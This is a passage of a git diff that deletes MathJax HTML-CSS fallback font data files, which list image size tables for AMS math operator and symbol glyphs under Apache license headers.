-    ],
-    0x2224: [  // DOES NOT DIVIDE
-      [3,8,2],[4,10,3],[4,11,3],[5,12,3],[5,15,4],[7,18,5],[7,20,5],[9,24,6],
-      [10,28,7],[11,34,9],[14,40,10],[16,47,12],[19,56,14],[22,67,17]
-    ],
-    0x2225: [  // PARALLEL TO
-      [3,4,1],[3,5,1],[4,6,1],[4,7,1],[5,7,1],[6,9,1],[7,10,1],[8,11,1],
-      [10,13,1],[11,16,1],[13,18,1],[16,23,2],[19,26,2],[22,31,2]
-    ],
-    0x2226: [  // NOT PARALLEL TO
-      [5,8,2],[6,10,3],[7,11,3],[8,12,3],[9,15,4],[10,18,5],[11,20,5],[14,24,6],
-      [16,28,7],[18,34,9],[22,40,10],[26,47,12],[31,56,14],[36,67,17]
-    ],
-    0x2234: [  // THEREFORE
-      [5,5,1],[6,5,1],[7,6,1],[8,7,1],[9,9,2],[11,10,2],[13,12,2],[15,13,2],
-      [18,17,3],[22,19,3],[26,23,4],[30,26,4],[36,32,5],[43,37,6]
-    ],
-    0x2235: [  // BECAUSE
-      [5,5,1],[6,5,1],[7,6,1],[8,7,1],[9,9,2],[11,10,2],[13,12,2],[15,13,2],
-      [18,17,3],[22,19,3],[26,23,4],[30,26,4],[36,32,5],[43,37,6]
-    ],
-    0x223C: [  // TILDE OPERATOR
-      [5,2,-1],[6,2,-1],[8,3,-1],[9,4,-1],[10,5,-1],[13,5,-2],[15,6,-2],[17,6,-3],
-      [20,8,-3],[24,9,-4],[29,10,-5],[34,11,-6],[40,14,-7],[48,17,-8]
-    ],
-    0x223D: [  // REVERSED TILDE
-      [5,2,-1],[6,3,-1],[8,3,-1],[9,4,-1],[10,4,-2],[12,5,-2],[15,6,-2],[17,6,-3],
-      [20,8,-3],[24,9,-4],[29,10,-5],[34,12,-6],[40,14,-7],[48,17,-8]
-    ],
-    0x2241: [  // stix-not, vert, similar
-      [5,4,0],[6,4,0],[8,5,0],[9,6,0],[10,7,0],[13,8,0],[15,10,0],[17,11,0],
-      [20,13,0],[24,15,-1],[29,18,-1],[34,21,-1],[40,25,-1],[48,29,-2]
-    ],
-    0x2242: [  // MINUS TILDE
-      [5,4,0],[6,4,0],[8,5,0],[9,6,0],[10,7,0],[12,8,0],[15,9,0],[17,11,0],
-      [20,13,0],[24,15,-1],[29,18,-1],[34,21,-1],[40,25,-1],[48,29,-2]
-    ],
-    0x2246: [  // APPROXIMATELY BUT NOT ACTUALLY EQUAL TO
-      [5,7,2],[6,8,2],[8,9,2],[9,10,2],[10,12,3],[13,14,3],[15,17,4],[17,20,4],
-      [20,23,5],[24,28,6],[29,33,7],[34,39,8],[40,46,9],[48,54,11]
-    ],
-    0x2248: [  // ALMOST EQUAL TO
-      [5,4,0],[6,4,0],[8,5,0],[9,6,0],[11,7,0],[13,8,0],[15,10,0],[17,11,-1],
-      [21,13,-1],[24,15,-1],[29,18,-1],[34,21,-2],[40,25,-2],[48,29,-3]
-    ],
-    0x224A: [  // ALMOST EQUAL OR EQUAL TO
-      [5,5,1],[7,6,1],[8,7,1],[9,8,1],[11,9,1],[13,11,1],[15,13,1],[17,15,1],
-      [21,18,2],[24,22,2],[29,25,2],[34,29,2],[41,36,3],[48,42,3]
-    ],
-    0x224E: [  // GEOMETRICALLY EQUIVALENT TO
-      [5,4,0],[6,4,0],[8,5,0],[9,6,0],[10,7,0],[12,8,0],[14,10,0],[17,12,0],
-      [20,14,0],[24,17,0],[29,20,0],[34,23,0],[40,28,0],[48,33,0]
-    ],
-    0x224F: [  // DIFFERENCE BETWEEN
-      [5,3,-1],[6,3,-1],[8,4,-1],[9,5,-1],[10,5,-2],[12,6,-2],[14,8,-2],[17,9,-3],
-      [20,11,-3],[24,13,-4],[29,15,-5],[34,17,-6],[40,21,-7],[48,25,-8]
-    ],
-    0x2251: [  // GEOMETRICALLY EQUAL TO
-      [5,6,1],[6,7,1],[8,8,2],[9,10,2],[10,11,2],[12,13,2],[15,15,3],[17,18,3],
-      [20,20,3],[24,25,4],[29,29,5],[34,34,5],[40,40,6],[48,49,8]
-    ],
-    0x2252: [  // APPROXIMATELY EQUAL TO OR THE IMAGE OF
-      [6,5,1],[7,6,1],[8,7,1],[9,10,2],[11,11,2],[13,12,2],[15,14,2],[18,17,3],
-      [22,20,3],[25,24,4],[30,28,4],[36,33,5],[43,40,6],[51,47,7]
-    ],
-    0x2253: [  // IMAGE OF OR APPROXIMATELY EQUAL TO
-      [6,5,1],[7,6,1],[8,7,1],[9,10,2],[11,11,2],[13,12,2],[15,14,2],[18,17,3],
-      [22,20,3],[25,24,4],[30,28,4],[36,33,5],[43,40,6],[51,47,7]
-    ],
-    0x2256: [  // RING IN EQUAL TO
-      [5,2,-1],[6,2,-1],[8,3,-1],[9,4,-1],[10,3,-2],[12,4,-2],[15,5,-2],[17,6,-3],
-      [20,8,-3],[24,9,-4],[29,10,-5],[34,11,-6],[40,14,-7],[48,17,-8]
-    ],
-    0x2257: [  // RING EQUAL TO
-      [5,4,-1],[6,5,-1],[8,6,-1],[9,8,-1],[10,8,-2],[12,10,-2],[15,12,-2],[17,14,-3],
-      [20,17,-3],[24,20,-4],[29,24,-5],[34,28,-6],[40,33,-7],[48,40,-8]
-    ],
-    0x225C: [  // DELTA EQUAL TO
-      [5,5,-1],[6,7,-1],[8,8,-1],[9,9,-1],[10,10,-2],[12,13,-2],[15,15,-2],[17,17,-3],
-      [20,21,-3],[24,25,-4],[29,29,-5],[34,34,-6],[40,41,-7],[48,49,-8]
-    ],
-    0x2266: [  // LESS-THAN OVER EQUAL TO
-      [5,8,2],[6,9,2],[8,10,2],[9,11,2],[10,14,3],[12,16,3],[15,19,4],[17,22,4],
-      [20,26,5],[24,31,6],[28,37,7],[34,44,9],[40,52,10],[48,62,12]
-    ],
-    0x2267: [  // GREATER-THAN OVER EQUAL TO
-      [5,8,2],[6,9,2],[7,10,2],[9,11,2],[10,14,3],[12,16,3],[14,19,4],[17,22,4],
-      [20,26,5],[23,31,6],[28,37,7],[33,44,9],[39,52,10],[46,62,12]
-    ],
-    0x2268: [  // stix-less, vert, not double equals
-      [5,8,2],[6,10,3],[7,11,3],[9,13,4],[10,15,4],[12,18,5],[14,21,6],[17,25,7],
-      [20,29,8],[23,35,10],[28,42,12],[33,49,14],[39,58,16],[46,69,19]
-    ],
-    0x2269: [  // stix-gt, vert, not double equals
-      [5,8,2],[6,10,3],[7,11,3],[9,13,4],[10,15,4],[12,18,5],[14,21,6],[17,25,7],
-      [20,29,8],[23,35,10],[28,42,12],[33,49,14],[39,58,16],[46,69,19]
-    ],
-    0x226C: [  // BETWEEN
-      [3,8,2],[4,10,3],[5,11,3],[5,12,3],[6,15,4],[8,18,5],[9,20,5],[10,24,6],
-      [12,28,7],[14,34,9],[17,40,10],[20,47,12],[24,56,14],[28,67,17]
-    ],
-    0x226E: [  // stix-not, vert, less-than
-      [5,8,2],[6,9,2],[7,10,3],[9,12,3],[10,14,4],[12,16,4],[14,19,5],[17,22,5],
-      [20,26,6],[23,31,7],[28,37,9],[33,43,10],[39,52,12],[46,61,14]
-    ],
-    0x226F: [  // stix-not, vert, greater-than
-      [5,8,2],[6,9,2],[7,10,3],[9,12,3],[10,14,4],[12,16,4],[14,19,5],[17,22,5],
-      [20,26,6],[23,31,7],[28,37,9],[33,43,10],[39,52,12],[46,61,14]
-    ],
-    0x2270: [  // stix-not, vert, less-than-or-equal
-      [5,9,3],[6,10,3],[7,11,3],[9,14,4],[10,17,5],[12,20,6],[14,22,6],[17,26,7],
-      [20,32,9],[24,38,11],[28,44,12],[33,53,15],[39,62,17],[46,74,21]
-    ],
-    0x2271: [  // stix-not, vert, greater-than-or-equal
-      [5,9,3],[6,10,3],[7,11,3],[9,14,4],[10,17,5],[12,20,6],[14,22,6],[17,26,7],
-      [20,32,9],[23,38,11],[28,44,12],[33,53,15],[39,62,17],[46,74,21]
-    ],
-    0x2272: [  // stix-less-than or (contour) similar
-      [5,8,2],[6,9,2],[7,11,3],[9,12,3],[10,14,3],[12,17,4],[14,20,5],[17,23,6],
-      [20,28,7],[24,33,8],[29,38,9],[34,45,11],[40,54,13],[48,64,15]
-    ],
-    0x2273: [  // stix-greater-than or (contour) similar
-      [5,8,2],[6,9,2],[7,10,2],[9,12,3],[10,14,3],[12,17,4],[14,20,5],[17,23,6],
-      [20,28,7],[24,33,8],[29,38,9],[34,45,11],[40,54,13],[48,64,15]
-    ],
-    0x2276: [  // LESS-THAN OR GREATER-THAN
-      [6,7,2],[7,9,3],[8,10,3],[9,11,3],[11,14,4],[13,17,5],[15,19,5],[18,22,6],
-      [21,26,7],[25,32,9],[29,37,10],[35,44,12],[41,52,14],[49,62,17]
-    ],
-    0x2277: [  // GREATER-THAN OR LESS-THAN
-      [5,7,2],[6,9,3],[7,10,3],[9,11,3],[10,14,4],[12,17,5],[14,19,5],[17,22,6],
-      [20,26,7],[23,32,9],[28,37,10],[33,44,12],[39,52,14],[46,62,17]
-    ],
-    0x227C: [  // PRECEDES OR EQUAL TO
-      [5,6,2],[6,7,2],[7,8,2],[9,9,2],[10,12,3],[12,13,3],[14,15,3],[16,18,4],
-      [19,22,5],[23,25,5],[27,29,6],[32,34,7],[38,42,9],[46,49,10]
-    ],
-    0x227D: [  // SUCCEEDS OR EQUAL TO
-      [5,6,2],[6,7,2],[7,8,2],[9,9,2],[10,11,3],[12,13,3],[14,16,4],[17,18,4],
-      [20,21,5],[23,26,6],[28,30,7],[33,35,8],[39,42,9],[46,50,11]
-    ],
-    0x227E: [  // PRECEDES OR EQUIVALENT TO
-      [5,8,2],[6,9,2],[7,11,3],[9,12,3],[10,14,3],[12,17,4],[14,20,5],[17,23,6],
-      [20,28,7],[24,33,8],[29,38,9],[34,45,11],[40,54,13],[48,64,15]
-    ],
-    0x227F: [  // SUCCEEDS OR EQUIVALENT TO
-      [5,8,2],[6,9,2],[7,11,3],[9,12,3],[10,14,3],[12,17,4],[14,20,5],[17,23,6],
-      [20,28,7],[24,33,8],[29,38,9],[34,45,11],[40,54,13],[48,65,16]
-    ],
-    0x2280: [  // DOES NOT PRECEDE
-      [5,8,2],[6,9,2],[7,10,3],[9,12,3],[10,13,3],[12,16,4],[14,19,5],[17,22,5],
-      [20,26,6],[23,31,7],[28,37,9],[33,43,10],[39,52,12],[46,61,14]
-    ],
-    0x2281: [  // stix-not (vert) succeeds
-      [5,7,2],[6,8,2],[7,10,3],[9,12,3],[10,14,4],[12,16,4],[14,19,5],[17,22,5],
-      [20,26,6],[23,31,7],[28,37,9],[33,43,10],[39,51,12],[46,61,14]
-    ],
-    0x2288: [  // stix-/nsubseteq N: not (vert) subset, equals
-      [5,9,3],[6,10,3],[7,12,3],[9,14,4],[10,17,5],[12,20,6],[14,22,6],[17,26,7],
-      [20,32,9],[23,38,11],[28,44,12],[33,53,15],[39,62,17],[46,74,21]
-    ],
-    0x2289: [  // stix-/nsupseteq N: not (vert) superset, equals
-      [5,9,3],[6,10,3],[7,11,3],[8,14,4],[10,17,5],[12,19,6],[14,22,6],[17,26,7],
-      [20,32,9],[23,37,11],[28,44,12],[33,53,15],[39,62,17],[46,73,20]
-    ],
-    0x228A: [  // stix-subset, not equals, variant
-      [5,7,2],[6,8,2],[7,10,3],[9,11,3],[10,13,4],[12,16,5],[14,18,5],[17,21,6],
-      [20,25,7],[23,31,9],[28,36,10],[33,42,12],[39,50,14],[46,59,17]
-    ],
-    0x228B: [  // stix-superset, not equals, variant
-      [5,7,2],[6,8,2],[7,10,3],[8,11,3],[10,13,4],[12,16,5],[14,18,5],[17,21,6],
-      [20,25,7],[23,30,9],[28,35,10],[33,42,12],[39,50,14],[46,59,17]
-    ],
-    0x228F: [  // SQUARE IMAGE OF
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],
-      [19,17,2],[23,20,2],[28,24,2],[33,28,2],[39,33,3],[46,39,3]
-    ],
-    0x2290: [  // SQUARE ORIGINAL OF
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],
-      [20,17,2],[24,20,2],[28,24,2],[34,28,2],[40,33,3],[47,39,3]
-    ],
-    0x229A: [  // CIRCLED RING OPERATOR
-      [5,6,1],[6,6,1],[7,7,1],[9,8,1],[10,10,1],[12,12,2],[14,14,2],[17,16,2],
-      [20,20,3],[24,23,3],[29,27,4],[34,31,4],[40,38,5],[48,45,6]
-    ],
-    0x229B: [  // CIRCLED ASTERISK OPERATOR
-      [5,6,1],[6,6,1],[7,7,1],[9,8,1],[10,10,1],[12,12,2],[14,14,2],[17,16,2],
-      [20,20,3],[24,23,3],[29,27,4],[34,31,4],[40,38,5],[48,45,6]
-    ],
-    0x229D: [  // CIRCLED DASH
-      [5,6,1],[6,6,1],[7,7,1],[9,8,1],[10,10,1],[12,12,2],[14,14,2],[17,16,2],
-      [20,20,3],[24,23,3],[29,27,4],[34,31,4],[40,38,5],[48,45,6]
-    ],
-    0x229E: [  // SQUARED PLUS
-      [5,5,0],[6,6,0],[8,7,0],[9,8,0],[11,10,0],[13,12,0],[15,14,0],[17,16,0],
-      [20,20,0],[24,23,0],[29,27,0],[34,32,0],[41,39,0],[48,46,0]
-    ],
-    0x229F: [  // SQUARED MINUS
-      [5,5,0],[6,6,0],[7,7,0],[9,8,0],[10,10,0],[12,12,0],[14,14,0],[17,16,0],
-      [21,20,0],[24,23,0],[29,27,0],[34,32,0],[40,39,0],[48,46,0]
-    ],
-    0x22A0: [  // SQUARED TIMES
-      [5,5,0],[6,6,0],[7,7,0],[9,8,0],[10,10,0],[12,12,0],[14,14,0],[17,16,0],
-      [21,20,0],[24,23,0],[29,27,0],[34,32,0],[40,39,0],[48,46,0]
-    ],
-    0x22A1: [  // SQUARED DOT OPERATOR
-      [5,5,0],[6,6,0],[7,7,0],[9,8,0],[10,10,0],[12,12,0],[14,14,0],[17,16,0],
-      [21,20,0],[24,23,0],[29,27,0],[34,32,0],[40,39,0],[48,46,0]
-    ],
-    0x22A8: [  // TRUE
-      [4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[10,12,0],[11,14,0],[13,17,0],
-      [16,20,0],[19,23,0],[22,28,0],[26,33,0],[31,39,0],[37,46,0]
-    ],
-    0x22A9: [  // FORCES
-      [5,5,0],[6,6,0],[7,7,0],[8,9,0],[10,10,0],[12,12,0],[14,14,0],[16,17,0],
-      [19,20,0],[22,23,0],[26,28,0],[31,33,0],[37,39,0],[44,46,0]
-    ],
-    0x22AA: [  // TRIPLE VERTICAL BAR RIGHT TURNSTILE
-      [6,5,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],[14,12,0],[17,14,0],[19,17,0],
-      [24,20,0],[28,23,0],[33,28,0],[39,33,0],[46,39,0],[55,46,0]
-    ],
-    0x22AC: [  // DOES NOT PROVE
-      [5,5,0],[6,7,1],[7,8,1],[8,10,1],[9,11,1],[11,13,1],[13,15,1],[15,18,1],
-      [18,21,1],[21,24,1],[25,29,1],[30,34,1],[35,40,1],[41,47,1]
-    ],
-    0x22AD: [  // NOT TRUE
-      [5,5,0],[6,7,1],[7,8,1],[8,10,1],[9,11,1],[11,13,1],[13,15,1],[15,18,1],
-      [18,21,1],[21,24,1],[25,29,1],[29,34,1],[35,40,1],[41,47,1]
-    ],
-    0x22AE: [  // DOES NOT FORCE
-      [6,5,0],[7,7,1],[8,8,1],[9,10,1],[11,11,1],[13,13,1],[15,15,1],[18,18,1],
-      [21,21,1],[24,24,1],[29,29,1],[35,34,1],[41,40,1],[48,47,1]
-    ],
-    0x22AF: [  // NEGATED DOUBLE VERTICAL BAR DOUBLE RIGHT TURNSTILE
-      [6,5,0],[7,7,1],[8,8,1],[9,10,1],[11,11,1],[13,13,1],[16,15,1],[18,18,1],
-      [21,21,1],[24,24,1],[30,29,1],[35,34,1],[41,40,1],[49,47,1]
-    ],
-    0x22B2: [  // NORMAL SUBGROUP OF
-      [5,5,1],[6,6,1],[7,7,1],[8,8,1],[10,9,1],[12,10,1],[14,12,1],[16,14,1],
-      [20,17,2],[23,20,2],[28,24,2],[33,28,2],[39,33,3],[46,39,3]
-    ],
-    0x22B3: [  // CONTAINS AS NORMAL SUBGROUP
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],
-      [20,17,2],[23,20,2],[28,24,2],[33,28,2],[39,33,3],[46,39,3]
-    ],
-    0x22B4: [  // NORMAL SUBGROUP OF OR EQUAL TO
-      [5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,18,3],
-      [20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,52,10]
-    ],
-    0x22B5: [  // CONTAINS AS NORMAL SUBGROUP OR EQUAL TO
-      [5,6,1],[6,7,1],[7,9,2],[9,10,2],[10,11,2],[12,14,3],[14,16,3],[17,18,3],
-      [20,22,4],[23,26,5],[28,31,6],[33,37,7],[39,44,8],[46,52,10]
-    ],
-    0x22B8: [  // MULTIMAP
-      [8,3,0],[9,4,0],[11,3,-1],[13,4,-1],[15,5,-1],[18,6,-1],[21,6,-2],[25,8,-2],
-      [30,10,-2],[35,11,-3],[42,13,-3],[50,15,-4],[59,18,-5],[70,21,-6]
-    ],
-    0x22BA: [  // INTERCALATE
-      [4,5,2],[5,6,2],[5,8,3],[6,8,3],[7,9,3],[9,12,4],[10,13,4],[12,15,5],
-      [14,18,6],[17,23,8],[20,26,9],[24,31,10],[28,36,12],[33,43,14]
-    ],
-    0x22BB: [  // XOR
-      [4,5,0],[5,6,0],[6,8,0],[7,9,0],[8,10,0],[10,12,0],[11,14,0],[13,17,0],
-      [16,20,0],[19,24,0],[22,29,0],[26,34,0],[31,40,0],[37,48,0]
-    ],
-    0x22BC: [  // NAND
-      [4,5,0],[5,6,0],[6,8,1],[7,9,0],[8,10,0],[10,12,0],[11,14,0],[13,17,0],
-      [16,20,0],[19,25,1],[22,29,0],[26,35,1],[31,41,1],[37,49,1]
-    ],
-    0x22C5: [  // DOT OPERATOR
-      [2,2,0],[2,2,0],[3,2,0],[3,3,0],[4,3,0],[4,4,0],[5,4,0],[6,5,0],
-      [7,6,0],[8,7,0],[9,8,0],[11,9,0],[13,11,0],[15,13,0]
-    ],
-    0x22C7: [  // DIVISION TIMES
-      [5,5,1],[6,6,1],[8,7,1],[9,8,1],[10,9,1],[12,11,1],[15,12,1],[17,15,2],
-      [20,18,2],[24,20,2],[29,24,2],[34,29,3],[40,34,3],[48,39,3]
-    ],
-    0x22C9: [  // LEFT NORMAL FACTOR SEMIDIRECT PRODUCT
-      [5,4,0],[6,5,0],[7,5,0],[8,6,0],[9,7,0],[11,9,0],[13,10,0],[15,12,0],
-      [18,14,0],[21,17,0],[25,20,0],[30,23,0],[35,28,0],[42,33,0]
-    ],
-    0x22CA: [  // RIGHT NORMAL FACTOR SEMIDIRECT PRODUCT
-      [5,4,0],[6,5,0],[6,5,0],[8,6,0],[9,7,0],[11,9,0],[13,10,0],[15,12,0],
-      [18,14,0],[21,17,0],[25,20,0],[30,23,0],[35,28,0],[42,33,0]
-    ],
-    0x22CB: [  // LEFT SEMIDIRECT PRODUCT
-      [5,6,1],[6,7,1],[8,8,1],[9,10,1],[10,11,1],[12,13,1],[15,15,1],[17,18,1],
-      [20,21,1],[24,24,1],[29,29,1],[34,35,2],[40,41,2],[48,48,2]
-    ],
-    0x22CC: [  // RIGHT SEMIDIRECT PRODUCT
-      [5,6,1],[6,7,1],[8,8,1],[9,10,1],[10,11,1],[12,13,1],[14,15,1],[17,18,1],
-      [20,21,1],[24,24,1],[29,29,1],[34,35,2],[40,41,2],[48,48,2]
-    ],
-    0x22CD: [  // REVERSED TILDE EQUALS
-      [5,4,0],[6,4,0],[8,5,0],[9,6,0],[10,7,0],[12,8,0],[15,10,0],[17,10,-1],
-      [20,12,-1],[24,15,-1],[29,18,-1],[34,21,-1],[40,25,-1],[48,29,-2]
-    ],
-    0x22CE: [  // CURLY LOGICAL OR
-      [5,5,1],[6,6,1],[7,7,1],[8,8,1],[10,10,1],[12,11,1],[14,13,1],[16,15,1],
-      [19,17,1],[23,20,1],[27,24,1],[32,28,1],[38,34,2],[45,41,2]
-    ],
-    0x22CF: [  // CURLY LOGICAL AND
-      [5,5,1],[6,6,1],[7,7,1],[8,8,1],[10,9,1],[12,11,1],[14,13,1],[16,15,1],
-      [19,17,1],[23,20,1],[27,24,1],[32,29,2],[38,34,2],[45,40,2]
-    ],
-    0x22D0: [  // DOUBLE SUBSET
-      [5,5,1],[6,6,1],[7,7,1],[8,8,1],[10,9,1],[12,10,1],[14,12,1],[16,14,1],
-      [19,17,2],[23,20,2],[27,23,2],[33,27,2],[39,33,3],[46,39,3]
-    ],
-    0x22D1: [  // DOUBLE SUPERSET
-      [5,5,1],[6,6,1],[7,7,1],[8,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],
-      [20,17,2],[23,20,2],[28,24,2],[33,28,2],[39,33,3],[46,39,3]
-    ],
-    0x22D2: [  // DOUBLE INTERSECTION
-      [5,5,1],[5,6,1],[6,7,1],[7,8,1],[9,10,1],[10,11,1],[12,13,1],[14,15,1],
-      [17,18,1],[21,21,1],[24,25,1],[29,30,2],[34,36,2],[41,42,2]
-    ],
-    0x22D3: [  // DOUBLE UNION
-      [5,5,1],[6,6,1],[6,7,1],[8,8,1],[9,10,1],[11,11,1],[12,13,1],[14,15,1],
-      [18,18,1],[21,21,1],[24,25,1],[29,29,1],[34,36,2],[41,42,2]
-    ],
-    0x22D4: [  // PITCHFORK
-      [5,7,1],[6,8,1],[6,9,1],[8,10,1],[9,12,1],[11,14,1],[12,16,1],[15,19,1],
-      [18,22,1],[21,26,1],[24,30,1],[29,37,2],[34,43,2],[41,51,2]
-    ],
-    0x22D6: [  // LESS-THAN WITH DOT
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],
-      [20,17,2],[23,20,2],[28,24,2],[33,28,2],[39,33,3],[46,39,3]
-    ],
-    0x22D7: [  // GREATER-THAN WITH DOT
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],
-      [20,17,2],[23,20,2],[27,24,2],[33,28,2],[39,33,3],[46,39,3]
-    ],
-    0x22D8: [  // VERY MUCH LESS-THAN
-      [9,5,1],[11,6,1],[13,7,1],[15,8,1],[18,9,1],[22,12,2],[25,14,2],[30,16,2],
-      [36,18,2],[42,22,3],[50,26,3],[60,31,4],[71,36,4],[84,43,5]
-    ],
-    0x22D9: [  // VERY MUCH GREATER-THAN
-      [9,5,1],[11,6,1],[13,7,1],[16,8,1],[18,9,1],[22,12,2],[25,14,2],[30,16,2],
-      [36,18,2],[43,22,3],[51,26,3],[60,31,4],[71,36,4],[85,43,5]
-    ],
-    0x22DA: [  // stix-less, equal, slanted, greater
-      [5,10,3],[6,12,4],[7,13,4],[8,16,5],[10,19,6],[12,22,7],[14,26,8],[16,30,9],
-      [19,36,11],[23,43,13],[27,50,15],[32,60,18],[38,71,22],[45,85,26]
-    ],
-    0x22DB: [  // stix-greater, equal, slanted, less
-      [5,10,3],[6,12,4],[7,13,4],[8,16,5],[10,19,6],[12,22,7],[14,26,8],[16,30,9],
-      [19,36,11],[23,43,13],[27,51,16],[32,60,18],[38,71,22],[45,85,26]
-    ],
-    0x22DE: [  // EQUAL TO OR PRECEDES
-      [5,7,1],[6,8,1],[7,9,1],[9,10,1],[10,12,1],[12,14,1],[14,16,1],[17,18,1],
-      [20,22,1],[23,26,1],[28,30,1],[33,35,1],[39,42,1],[46,50,1]
-    ],
-    0x22DF: [  // EQUAL TO OR SUCCEEDS
-      [5,6,0],[6,7,0],[7,8,0],[9,9,0],[10,11,0],[12,13,0],[14,15,0],[17,18,0],
-      [20,21,0],[23,25,0],[28,29,0],[33,35,0],[39,41,0],[46,49,0]
-    ],
-    0x22E0: [  // stix-not (vert) precedes or contour equals
-      [5,9,3],[6,10,3],[7,11,3],[9,14,4],[10,17,5],[12,20,6],[14,22,6],[17,27,7],
-      [20,32,9],[23,38,11],[28,44,12],[33,53,15],[39,62,17],[46,74,21]
-    ],
-    0x22E1: [  // stix-not (vert) succeeds or contour equals
-      [5,9,3],[6,10,3],[7,11,3],[9,14,4],[10,17,5],[12,20,6],[14,22,6],[17,26,7],
-      [20,32,9],[23,38,11],[28,44,12],[33,53,15],[39,62,17],[46,74,21]
-    ],
-    0x22E6: [  // LESS-THAN BUT NOT EQUIVALENT TO
-      [5,9,3],[6,10,3],[8,12,4],[9,14,5],[10,16,5],[13,19,6],[15,22,7],[17,26,9],
-      [20,31,10],[24,37,12],[29,44,15],[34,51,17],[40,61,20],[48,73,24]
-    ],
-    0x22E7: [  // GREATER-THAN BUT NOT EQUIVALENT TO
-      [5,9,3],[6,10,3],[8,12,4],[9,14,5],[10,16,5],[13,19,6],[15,22,7],[17,26,9],
-      [20,31,10],[24,37,12],[29,44,15],[34,51,17],[40,61,20],[48,73,24]
-    ],
-    0x22E8: [  // PRECEDES BUT NOT EQUIVALENT TO
-      [5,9,3],[6,10,3],[8,12,4],[9,14,5],[10,16,5],[13,19,6],[15,22,7],[17,26,9],
-      [20,31,10],[24,37,12],[29,43,14],[34,51,17],[40,61,20],[48,73,24]
-    ],
-    0x22E9: [  // SUCCEEDS BUT NOT EQUIVALENT TO
-      [5,9,3],[6,10,3],[8,12,4],[9,14,5],[10,16,5],[13,19,6],[15,23,8],[17,26,9],
-      [20,31,10],[24,37,12],[29,44,15],[34,51,17],[40,62,21],[48,73,24]
-    ],
-    0x22EA: [  // NOT NORMAL SUBGROUP OF
-      [5,8,2],[6,9,2],[7,10,3],[8,12,3],[10,14,4],[12,16,4],[14,19,5],[17,22,5],
-      [20,26,6],[23,31,7],[28,37,9],[33,43,10],[39,52,12],[46,61,14]
-    ],
-    0x22EB: [  // DOES NOT CONTAIN AS NORMAL SUBGROUP
-      [5,8,2],[6,9,2],[7,10,3],[9,12,3],[10,14,4],[12,16,4],[14,19,5],[17,22,5],
-      [19,26,6],[23,31,7],[27,37,9],[33,43,10],[39,52,12],[46,61,14]
-    ],
-    0x22EC: [  // stix-not, vert, left triangle, equals
-      [5,9,3],[6,10,3],[7,11,3],[9,14,4],[10,17,5],[12,20,6],[14,22,6],[17,26,7],
-      [20,32,9],[23,38,11],[28,44,12],[33,53,15],[39,62,17],[46,74,21]
-    ],
-    0x22ED: [  // stix-not, vert, right triangle, equals
-      [5,9,3],[6,10,3],[8,11,3],[9,14,4],[10,17,5],[12,20,6],[14,22,6],[17,26,7],
-      [20,32,9],[23,38,11],[28,44,12],[33,53,15],[39,62,17],[46,74,21]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/MathOperators.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/MiscMathSymbolsB.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/MiscMathSymbolsB.js
deleted file mode 100644
index 31596b98..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/MiscMathSymbolsB.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/MiscMathSymbolsB.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_AMS": {
-    0x29EB: [  // BLACK LOZENGE
-      [5,6,1],[6,8,2],[7,10,2],[8,11,2],[9,12,2],[11,15,3],[12,17,3],[15,21,4],
-      [17,24,4],[21,29,5],[25,35,6],[29,41,7],[34,48,8],[41,57,9]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/MiscMathSymbolsB.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/MiscSymbols.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/MiscSymbols.js
deleted file mode 100644
index a3cf08b2..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/MiscSymbols.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/MiscSymbols.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
